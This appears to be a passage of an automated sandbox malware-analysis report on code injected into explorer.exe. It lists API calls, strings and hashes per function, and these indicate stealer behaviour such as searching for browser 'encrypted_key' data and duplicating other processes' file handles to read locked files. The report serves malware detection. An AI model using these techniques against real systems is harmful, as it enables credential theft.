RegOpenKeyExW.KERNELBASE(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030A1AE2,PortNumber,00000000,00000000), ref: 030A1A1E
RegQueryValueExW.KERNELBASE(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 030A1A3C
RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 030A1A75
RegCloseKey.KERNELBASE(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030A1AE2,PortNumber,00000000,00000000), ref: 030A1A98

Part of subcall function 030A1011: GetProcessHeap.KERNEL32(00000000,00000000,?,030A1A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030A1AE2), ref: 030A1020
Part of subcall function 030A1011: RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030A1AE2,PortNumber,00000000,00000000), ref: 030A1027

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: HeapQueryValue$CloseFreeOpenProcess
String ID:
API String ID: 217796345-0
Opcode ID: 56cf1f562dcefed0210cc6642d7a541c409faafe3ca8b7395d819500f3e0746e
Instruction ID: cad77e129184648347d327d1e0a612c5b7d73cc2b7bb2e3396971429515d1dd0
Opcode Fuzzy Hash: 56cf1f562dcefed0210cc6642d7a541c409faafe3ca8b7395d819500f3e0746e
Instruction Fuzzy Hash: A121A37220A7456FE728CA65ED04F7BB7EDEFD8754F080A2DF98692140E625C9008761

Uniqueness

Uniqueness Score: -1.00%

Function 030A1EC1 Relevance: 6.1, APIs: 4, Instructions: 82registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32(?,?,?), ref: 030A1ED5

Part of subcall function 030A1000: GetProcessHeap.KERNEL32(00000008,?,030A11C7,?,?,00000001,00000000,?), ref: 030A1003
Part of subcall function 030A1000: RtlAllocateHeap.NTDLL(00000000), ref: 030A100A

RegEnumKeyExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 030A1F0C
RegCloseKey.ADVAPI32(?), ref: 030A1F98

Part of subcall function 030A1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,030A2F0C), ref: 030A1973
Part of subcall function 030A1953: lstrlenW.KERNEL32(030F6564,?,?,030A2F0C), ref: 030A1978
Part of subcall function 030A1953: lstrcatW.KERNEL32(00000000,?), ref: 030A1990
Part of subcall function 030A1953: lstrcatW.KERNEL32(00000000,030F6564), ref: 030A1994

RegEnumKeyExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 030A1F82

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: EnumHeaplstrcatlstrlen$AllocateCloseOpenProcess
String ID:
API String ID: 1077800024-0
Opcode ID: 63be06b4c61453918e3dcc383493cc5800c9edf7eeabd52d1f20180ba3f08c56
Instruction ID: 081c77a2a3fb715334bdb42d6a401eb4663aed4fd05014a933e75ebea5a77265
Opcode Fuzzy Hash: 63be06b4c61453918e3dcc383493cc5800c9edf7eeabd52d1f20180ba3f08c56
Instruction Fuzzy Hash: AC21AE70209341BFD709AB69EC48E7BBBEDEFC8244F004A2CF49992110DB75C804DB22

Uniqueness

Uniqueness Score: -1.00%

Function 030A1C31 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000000,00000000,00000000,030A3E1E,00000000,?,030A3FA8), ref: 030A1C46
GetFileSize.KERNEL32(00000000,00000000,00000000,?,030A3FA8), ref: 030A1C56
FindCloseChangeNotification.KERNELBASE(00000000,?,030A3FA8), ref: 030A1C91

Part of subcall function 030A1000: GetProcessHeap.KERNEL32(00000008,?,030A11C7,?,?,00000001,00000000,?), ref: 030A1003
Part of subcall function 030A1000: RtlAllocateHeap.NTDLL(00000000), ref: 030A100A

ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000,?,030A3FA8), ref: 030A1C76

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: File$Heap$AllocateChangeCloseCreateFindNotificationProcessReadSize
String ID:
API String ID: 2557216016-0
Opcode ID: 33cbbcac22f06306652dffc62af33afe7de0708659a49e9bb026128edda2542d
Instruction ID: af21ce07b446e7f6885febaf030fa55c144f545d5cb22629ecf1c8d3b3d4694e
Opcode Fuzzy Hash: 33cbbcac22f06306652dffc62af33afe7de0708659a49e9bb026128edda2542d
Instruction Fuzzy Hash: 3BF0C83120261C7FD228AABEEC88E7B7A9CDB467F5F150719F516931C0DB5758054171

Uniqueness

Uniqueness Score: -1.00%

Function 030A2FB1 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 31stringCOMMON

Download Yara Rule

APIs

StrStrIA.KERNELBASE(00000000,"encrypted_key":",00000000,00000000,00000000,030A3E30,00000000,00000000,?,030A3FA8), ref: 030A2FC1
lstrlen.KERNEL32("encrypted_key":",?,030A3FA8), ref: 030A2FCE
StrStrIA.SHLWAPI("encrypted_key":",030F692C,?,030A3FA8), ref: 030A2FDD

Part of subcall function 030A190B: lstrlen.KERNEL32(?,?,?,?,00000000,030A2783), ref: 030A192B
Part of subcall function 030A190B: lstrlen.KERNEL32(00000000,?,?,?,00000000,030A2783), ref: 030A1930
Part of subcall function 030A190B: lstrcat.KERNEL32(00000000,?), ref: 030A1946
Part of subcall function 030A190B: lstrcat.KERNEL32(00000000,00000000), ref: 030A194A

Strings

"encrypted_key":", xrefs: 030A2FBA, 030A2FBF, 030A2FCD, 030A2FDC

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: lstrlen$lstrcat
String ID: "encrypted_key":"
API String ID: 493641738-877455259
Opcode ID: 2085e3d3ec95a791e9a42beda6be61f13df58a3e25150db6918f0ae0e35efc07
Instruction ID: f809f75848d4c83c62c7ea8718a266d1ece676f19759ed2ffc9b45d75f45dfa7
Opcode Fuzzy Hash: 2085e3d3ec95a791e9a42beda6be61f13df58a3e25150db6918f0ae0e35efc07
Instruction Fuzzy Hash: 94E0922270BB686F83A5FBFD6C5488BBE9CEE4641130D4078E64297606DE978401D6A4

Uniqueness

Uniqueness Score: -1.00%

Function 030ABAFC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000000,00000000,00000000,?,readonly_shm,00000000,00000000,?,?,?), ref: 030ABB40

Strings

winDelete, xrefs: 030ABB6A

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: AttributesFile
String ID: winDelete
API String ID: 3188754299-3936022152
Opcode ID: 3ff2a0c9c620c13d5f6bd116d14b59291db0573590e585c7037e7e3d86e0615c
Instruction ID: 3c68e28814f5811f7875815fa25b0856dcb43f2dd36f15fadd3e609d0ae3faec
Opcode Fuzzy Hash: 3ff2a0c9c620c13d5f6bd116d14b59291db0573590e585c7037e7e3d86e0615c
Instruction Fuzzy Hash: DA110835B13A08EBC710EBECA8408BDB7F9DFC5760F144665E802DB288DBB48941D751

Uniqueness

Uniqueness Score: -1.00%

Function 030A2EA5 Relevance: 4.5, APIs: 3, Instructions: 43registryCOMMON

Download Yara Rule

APIs

Part of subcall function 030A1011: GetProcessHeap.KERNEL32(00000000,00000000,?,030A1A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030A1AE2), ref: 030A1020
Part of subcall function 030A1011: RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030A1AE2,PortNumber,00000000,00000000), ref: 030A1027

Part of subcall function 030A1000: GetProcessHeap.KERNEL32(00000008,?,030A11C7,?,?,00000001,00000000,?), ref: 030A1003
Part of subcall function 030A1000: RtlAllocateHeap.NTDLL(00000000), ref: 030A100A

RegOpenKeyExW.KERNELBASE(?,?,00000000,00020119,?), ref: 030A2EE4
RegEnumKeyExW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 030A2F54
RegCloseKey.KERNELBASE(?), ref: 030A2F62

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: Heap$Process$AllocateCloseEnumFreeOpen
String ID:
API String ID: 1066184869-0
Opcode ID: 0891415506afa6137d7c2ede724033a92e01e04ed3521f8887cc6fcfc9da4504
Instruction ID: 23eaa4690feb7b0b9dade5d6b595763596400cb8dfdfdccfc4c16581bc790e3e
Opcode Fuzzy Hash: 0891415506afa6137d7c2ede724033a92e01e04ed3521f8887cc6fcfc9da4504
Instruction Fuzzy Hash: FE018F35206350BF8619EB66EC04EAFBBADEFC8350F00452DF80986144CB758845EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 030A9FC8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00BD0000,00000000), ref: 030A9FF8

Strings

failed to HeapCreate (%lu), flags=%u, initSize=%lu, maxSize=%lu, xrefs: 030AA00E

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: CreateHeap
String ID: failed to HeapCreate (%lu), flags=%u, initSize=%lu, maxSize=%lu
API String ID: 10892065-982776804
Opcode ID: a4d6b5b17c32211251f664ddb9508d46492524a6e3596455caf6ebd4169d35d1
Instruction ID: be4b857563dfcad81d5436dd4402c584d53ad2c10a391ab195de4e986ae72a2c
Opcode Fuzzy Hash: a4d6b5b17c32211251f664ddb9508d46492524a6e3596455caf6ebd4169d35d1
Instruction Fuzzy Hash: D9F0FC76705B41BEE73095DCBC48F6767DCD788B99F144825FA4596180D3B15C40C230

Uniqueness

Uniqueness Score: -1.00%

Function 030A1AFE Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 030A1000: GetProcessHeap.KERNEL32(00000008,?,030A11C7,?,?,00000001,00000000,?), ref: 030A1003
Part of subcall function 030A1000: RtlAllocateHeap.NTDLL(00000000), ref: 030A100A

SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,00000000,00000000,?,?,030A2E83,PathToExe,00000000,00000000), ref: 030A1B16

Part of subcall function 030A1011: GetProcessHeap.KERNEL32(00000000,00000000,?,030A1A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030A1AE2), ref: 030A1020
Part of subcall function 030A1011: RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030A1AE2,PortNumber,00000000,00000000), ref: 030A1027

Part of subcall function 030A19E5: RegOpenKeyExW.KERNELBASE(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030A1AE2,PortNumber,00000000,00000000), ref: 030A1A1E
Part of subcall function 030A19E5: RegQueryValueExW.KERNELBASE(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 030A1A3C
Part of subcall function 030A19E5: RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 030A1A75
Part of subcall function 030A19E5: RegCloseKey.KERNELBASE(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030A1AE2,PortNumber,00000000,00000000), ref: 030A1A98

Strings

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 030A1B40

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: Heap$ProcessQueryValue$AllocateCloseFolderFreeOpenPath
String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
API String ID: 2162223993-2036018995
Opcode ID: bfb06219e36c53ebe34939c84a5c32cbea90d00a1772e9968fd0039fc121a76a
Instruction ID: d91adbd9e95d32c6ac5080ac6a4222399c20edc9d0b129ae1a85732c9e9e6551
Opcode Fuzzy Hash: bfb06219e36c53ebe34939c84a5c32cbea90d00a1772e9968fd0039fc121a76a
Instruction Fuzzy Hash: 1DF02B3A702F4C27D219E59FEC80E6736CECBC52A5F060029F56A87244EE676C005264

Uniqueness

Uniqueness Score: -1.00%

Function 030AA33B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,00000000), ref: 030AA35F

Strings

winSeekFile, xrefs: 030AA381

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: FilePointer
String ID: winSeekFile
API String ID: 973152223-3168307952
Opcode ID: fd3398e7bb29938cbb6c4a5b293ef6e7b4a038b79bc5e682d0e3c43ee6e29b9e
Instruction ID: bd3b5c049255049e822f1053f8bafe6826c33259a75bf0fe08d44a75884c0082
Opcode Fuzzy Hash: fd3398e7bb29938cbb6c4a5b293ef6e7b4a038b79bc5e682d0e3c43ee6e29b9e
Instruction Fuzzy Hash: 8BF0F035716704BFD710DFA8EC009BBB7A9EB44320B148269FC21CA2C0DAB0DD0096A1

Uniqueness

Uniqueness Score: -1.00%

Function 030A9EA7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(052F0000,00000000,?), ref: 030A9EB5

Strings

failed to HeapAlloc %u bytes (%lu), heap=%p, xrefs: 030A9ECD

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: AllocateHeap
String ID: failed to HeapAlloc %u bytes (%lu), heap=%p
API String ID: 1279760036-667713680
Opcode ID: 2d49c2cfd6fdb594538b966c1c7ffcba1bb786656b72fd772cd91441b5e4e200
Instruction ID: f3b3dd8718b746f670e30f10d3f538a77433e003806591d8214a3d29b72680f6
Opcode Fuzzy Hash: 2d49c2cfd6fdb594538b966c1c7ffcba1bb786656b72fd772cd91441b5e4e200
Instruction Fuzzy Hash: D4E0C23B604610BFC212B6D8BC04F6FB768DBCCF64F054025FA00AA609C7B4A84187B2

Uniqueness

Uniqueness Score: -1.00%

Function 030A9EE8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(052F0000,00000000,?), ref: 030A9EF8

Strings

failed to HeapFree block %p (%lu), heap=%p, xrefs: 030A9F0E

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: FreeHeap
String ID: failed to HeapFree block %p (%lu), heap=%p
API String ID: 3298025750-4030396798
Opcode ID: d1afb0073eddf16afd7fa1f6c7a8fe8df27ead4eeda415e239eaed25d5f85c3c
Instruction ID: 70f54551ddf82ef0c55c910e08c4c5514443d646ebff5a693421655ea6faddcc
Opcode Fuzzy Hash: d1afb0073eddf16afd7fa1f6c7a8fe8df27ead4eeda415e239eaed25d5f85c3c
Instruction Fuzzy Hash: 9FD0C23A209300FBC304AAD8AC05F2B77BC9B88F04F080418F2106905AC3B46081AB32

Uniqueness

Uniqueness Score: -1.00%

Function 030A1B6A Relevance: 3.0, APIs: 2, Instructions: 25fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,030A2893,00000000,00000000,00000000,?), ref: 030A1B82
FindCloseChangeNotification.KERNELBASE(00000000), ref: 030A1B8F

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: ChangeCloseCreateFileFindNotification
String ID:
API String ID: 727422849-0
Opcode ID: f9dbdc8981766426396d1ece72e63bee499bcaf87d2e82372c32bc0845281ff5
Instruction ID: 11efa9a014c85fff3b9063fbaf36800fb1c078f76c8e3c881a8dcdabcd9e4b6b
Opcode Fuzzy Hash: f9dbdc8981766426396d1ece72e63bee499bcaf87d2e82372c32bc0845281ff5
Instruction Fuzzy Hash: F8D0C271223A302AD5B9A2793C0CEA7AE8CDF026B1F180610B60CD44C4E315888381E0

Uniqueness

Uniqueness Score: -1.00%

Function 030A1011 Relevance: 3.0, APIs: 2, Instructions: 12memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 030A1162: VirtualQuery.KERNEL32(?,?,0000001C), ref: 030A116F

GetProcessHeap.KERNEL32(00000000,00000000,?,030A1A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030A1AE2), ref: 030A1020
RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,030A1AE2,PortNumber,00000000,00000000), ref: 030A1027

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: Heap$FreeProcessQueryVirtual
String ID:
API String ID: 2580854192-0
Opcode ID: cfb1f5c8be19675dba612751bb514d828de84dd595f3646710cbab49ac11a77a
Instruction ID: 1951a1c71abcc9337a2ed3f57ba7df112502578003ab40578a86ac380c80702b
Opcode Fuzzy Hash: cfb1f5c8be19675dba612751bb514d828de84dd595f3646710cbab49ac11a77a
Instruction Fuzzy Hash: B3C08C310033205AC9A4B7EC380CFCA7B0CEF8A222F0C0041B54297149CAAA8C0083A0

Uniqueness

Uniqueness Score: -1.00%

Function 030A4B72 Relevance: 3.0, APIs: 2, Instructions: 8COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 030A4B74
ExitProcess.KERNEL32 ref: 030A4B8B

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: ExitInitializeProcess
String ID:
API String ID: 2609639641-0
Opcode ID: 86377ed18e9cf088ce0d85f38f67ddc7fe178a2a311919de8579d53be0b73a62
Instruction ID: e906df7b67924f1649fa93936eaa3360b99359c159ed42134f1f5b72f55cc833
Opcode Fuzzy Hash: 86377ed18e9cf088ce0d85f38f67ddc7fe178a2a311919de8579d53be0b73a62
Instruction Fuzzy Hash: 50C04C38247A044FE6C07BF96C0D7093568EB00712F044005E2098A584DA9A80008622

Uniqueness

Uniqueness Score: -1.00%

Function 030A1000 Relevance: 3.0, APIs: 2, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,?,030A11C7,?,?,00000001,00000000,?), ref: 030A1003
RtlAllocateHeap.NTDLL(00000000), ref: 030A100A

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 59b9738aea80ee949b9cb7890942545ace19fa9db4ebff9b577608c3cd09118b
Instruction ID: 72576f39c680d63795da5e504ebef6dfddee49c877dd179d861741c81676d6d8
Opcode Fuzzy Hash: 59b9738aea80ee949b9cb7890942545ace19fa9db4ebff9b577608c3cd09118b
Instruction Fuzzy Hash: 03A002755511085FDD4477A8DA0DA1A3518F745702F144544718586449DD6A54148721

Uniqueness

Uniqueness Score: -1.00%

Function 030A12A3 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

RtlZeroMemory.NTDLL(?,00000018), ref: 030A12B5

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: MemoryZero
String ID:
API String ID: 816449071-0
Opcode ID: 418faaf45a237d0aac195f4cc74e4f91aa186c6331a5211fbdf730c0909efd4e
Instruction ID: 50b4a126d4ba94795a0f8343e760e77bcf3f7d5144e2b8fabbd2fb57ed317caa
Opcode Fuzzy Hash: 418faaf45a237d0aac195f4cc74e4f91aa186c6331a5211fbdf730c0909efd4e
Instruction Fuzzy Hash: D011F5B1A02209AFDB14EFE9E984AAEBBFCFB08241F144429F945E3240D735D900CB64

Uniqueness

Uniqueness Score: -1.00%

Function 030A6512 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(031020A4,00000001,00000000,0000000A,030F3127,030A28DA,00000000,?), ref: 030ABFFC

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 323d4ab81534cea014f600c645cba317da0008b5a10edef7cc7c253a3b5c12c3
Instruction ID: a1330d84edf6fa7c635cbac6d7c88622a5017d4625f0e9d63e5bed6f0457bacb
Opcode Fuzzy Hash: 323d4ab81534cea014f600c645cba317da0008b5a10edef7cc7c253a3b5c12c3
Instruction Fuzzy Hash: 9CE0923D786B083AE610F2FC7C46FCE14684BC8F01F584A25F620AC0C9EBEB81401422

Uniqueness

Uniqueness Score: -1.00%

Function 030A1B9D Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000000,00000000,030A2C8F,00000000,00000000,?,?,00000000,PathToExe,00000000,00000000), ref: 030A1BAA

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 5235f679ac69cfcb1d3dfaa4cfde25771d0dcad24435a6bed7343672b9b63308
Instruction ID: 6952ea1b6e7e41ee22451965e6a58b256ef057c968037f29b8a9723211ee1856
Opcode Fuzzy Hash: 5235f679ac69cfcb1d3dfaa4cfde25771d0dcad24435a6bed7343672b9b63308
Instruction Fuzzy Hash: 44D0A733D278304289A896BC3804452E1C05A0057431E0374FC15F74D4E225CC8242C0

Uniqueness

Uniqueness Score: -1.00%

Function 030A104C Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,030A158A), ref: 030A1056

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ae89dad348364c9f9e3807c07acd2e0817c5628522a9b0eeda2ebb6e2a9ea1d2
Instruction ID: 96bf231b5501aa65670f11c92c0cd19b13eb112f2b9dde19f807467c7d1bbdb7
Opcode Fuzzy Hash: ae89dad348364c9f9e3807c07acd2e0817c5628522a9b0eeda2ebb6e2a9ea1d2
Instruction Fuzzy Hash: 79A001B07962046AFD696762AE1BF1629289740B02F200244B309684C456E975008629

Uniqueness

Uniqueness Score: -1.00%

Function 030A105D Relevance: 1.3, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000,030A4A5B,?,?,00000000,?,?,?,?,030A4B66,?), ref: 030A1065

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 64799e2e57f32291c243ae9394ba8ad4c49cf52341ecd82366da1bb90e1b1ff6
Instruction ID: b7d12ed58408e7514a017c6fc8c74b6acfa187c1a14621f44e03dc053db8328d
Opcode Fuzzy Hash: 64799e2e57f32291c243ae9394ba8ad4c49cf52341ecd82366da1bb90e1b1ff6
Instruction Fuzzy Hash: 69A002706917046AEDB4B7245D0AF052614B741B01F2445447281A94C54DAAE0448A18

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 030A349B Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 201nativefilestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000000,00000000,00000003,00000000,00000000,00000000,00000000,?,00000000), ref: 030A34C0

Part of subcall function 030A33C3: NtQueryInformationFile.NTDLL(00000000,00002000,00000000,00002000,0000002F), ref: 030A3401

OpenProcess.KERNEL32(00000440,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,030A37A8), ref: 030A34E9

Part of subcall function 030A1000: GetProcessHeap.KERNEL32(00000008,?,030A11C7,?,?,00000001,00000000,?), ref: 030A1003
Part of subcall function 030A1000: RtlAllocateHeap.NTDLL(00000000), ref: 030A100A

NtQueryInformationProcess.NTDLL(00000000,00000033,00000000,?,?), ref: 030A351E
NtQueryInformationProcess.NTDLL(00000000,00000033,00000000,?,?), ref: 030A3541
GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 030A3586
DuplicateHandle.KERNEL32(00000000,00000000,00000000), ref: 030A358F
lstrcmpiW.KERNEL32(00000000,File), ref: 030A35B6
NtQueryObject.NTDLL(?,00000001,00000000,00001000,00000000), ref: 030A35DE
StrRChrW.SHLWAPI(?,00000000,0000005C), ref: 030A35F6
StrRChrW.SHLWAPI(?,00000000,0000005C), ref: 030A3606
lstrcmpiW.KERNEL32(00000000,00000000), ref: 030A361E
GetFileSize.KERNEL32(?,00000000), ref: 030A3631
SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 030A3658
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 030A366B
ReadFile.KERNEL32(?,?,00000000,?,00000000), ref: 030A3681
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 030A36AD
CloseHandle.KERNEL32(?), ref: 030A36C0
CloseHandle.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,030A37A8), ref: 030A36F5

Part of subcall function 030A1C9F: CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000000,00000000), ref: 030A1CC0
Part of subcall function 030A1C9F: WriteFile.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000002,00000000,00000002,00000000,00000000), ref: 030A1CDA
Part of subcall function 030A1C9F: CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000002,00000000,00000002,00000000,00000000), ref: 030A1CE6

CloseHandle.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,?,030A37A8), ref: 030A3707

Strings

File, xrefs: 030A35B0

Memory Dump Source

Source File: 00000019.00000002.2819640173.00000000030A1000.00000040.80000000.00040000.00000000.sdmp, Offset: 030A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_30a1000_explorer.jbxd

Similarity

API ID: File$HandleProcess$CloseQuery$InformationPointer$CreateHeaplstrcmpi$AllocateCurrentDuplicateObjectOpenReadSizeWrite
String ID: File
API String ID: 3915112439-749574446
Opcode ID: 0792df5be2d65159da7a5622f802daf4ae03dc2224f7da29f7f138297b09febe
Instruction ID: de963596c8385a192c6d08fb7b0a1466f9d0e6a4649b2ac67a289907ce299eb5
Opcode Fuzzy Hash: 0792df5be2d65159da7a5622f802daf4ae03dc2224f7da29f7f138297b09febe
Instruction Fuzzy Hash: 3B61E174206704AFD760EFB9EC44F2FBBE9EB84750F180828F986D6290DB76D8448B51

Uniqueness

Uniqueness Score: -1.00%

